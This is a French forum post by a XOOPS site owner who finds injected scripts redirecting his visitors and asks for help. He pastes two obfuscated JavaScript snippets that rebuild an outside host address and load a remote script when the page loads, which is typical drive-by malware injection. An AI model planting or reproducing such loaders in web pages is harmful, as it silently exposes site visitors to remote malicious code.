| Attaques par script sur mon site xoops |
Titre du sujet : Attaques par script sur mon site xoops
par brade02 sur 31/01/2010 19:17:43
Bonsoir à tous,
J'ai un grand problème sur mon site web, il y a plusieurs codes qui apparaissent dessus. En fait, le premier problème survenu c'est qu'une fois qu'on rentrait sur le site, il y avait directement une redirection vers une autre page ou il y avait tout simplement un lien qui ne marchait pas. J'ai donc télécharger tout le site en local, j'ai cherché l'erreur en question et je l'ai remplacé, j'ai encore remis le site sur le ftp, et je découvre encore une fois qu'il y a eu un autre code.
Voilà le premier code
<script> try{window.onload=function(){document.write('<div id=megaid>laredoute-fr.miniclip.com</div>');Mqc9h73aibo796 = document.getElementById('megaid').innerHTML + '.&#!(i!^#&c&q#@)-$)$c@o)&@m)@^.&)^#s&#(u!!#p!@^!e!)!r#@h))!i(^g)@$h!@^e!s$t$^.$r!^)u@@$:&!D!$E!&B^(!U##^$G(&!/$^)g)o$&o)g$#l$&e$!.)($c^&o!^&$m!!!&/@^&g(^o#@o$#&^@g&(^l#^e@!^$.#!c)o(m$(/@(g(@o#!@!o#@^g^l!@e!#.)c#)o$!m))!.^&#&@n$g^/$&!m)#i(x@)#i).$j&@p((@^/))f#@l^))i@@n$@(g^.@(!@^c&^o)@#)!m#^#/($#'.replace(/\$|@|\^|\(|&|\!|\)|#/ig, '') ;document.write('<scr'+'ipt src=http://'+Mqc9h73aibo796.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');} } catch(Rnftb4yk ) {}</script>
<!--6e37676baac999f4a1a6c5f39b6323b7-->
Voilà le deuxième code
<script>try{window.onload=function(){Ul2e7diu0zh = '' + 'g^#@o#^o!!g(!l()#e#$-@)c&&o@&m$-&#p^@e#!.^d@e$$@l(@l#&.($^!c^@###o@!^m!$.&&m)@a!#)!i&&l$&$-)!c(!#o)$@m)).@a!^v@$a(@(t$!^t)&o)&!p)).)!(^)r$&u@#^&:@#!#A#$&e!9@#2!h&^@)7)&6^&j@!)g&b($$j(a(@/$)(!w@@@e@b!s&!)$.(c!)@o#m#)^/$w()!e@b!$(s(.!(^c#^o)(&m)#/((($i$(n)##!d!@(#i@((a^$#@(n@r&a)&i#l^^^.$)!g$)o!&#v^&#.^)i^&$n((/#g@@o)o$!^g$!^^l$e#^$.#@&c@&o^&@)#m@/)m$&#c#@^s)&s#l&^$).#c!o^#m)/$(&!'.replace(/@|#|&|\^|\)|\!|\(|\$/ig, '') ;Bk1h52r9dyss = 'appendChild';Iql5g3ujb6p = document.createElement('sc'+'ript');Iql5g3ujb6p.src = 'h'+'ttp://'+Ul2e7diu0zh.replace(/Ae92h76jgbja/g, '8080');Iql5g3ujb6p.setAttribute('defer', 'def'+'er');eval('document.body.'+Bk1h52r9dyss+'(Iql5g3ujb6p)');} } catch(Frc8jqkwf ) {}</script>
Merci à tous pour votre aide
|
|
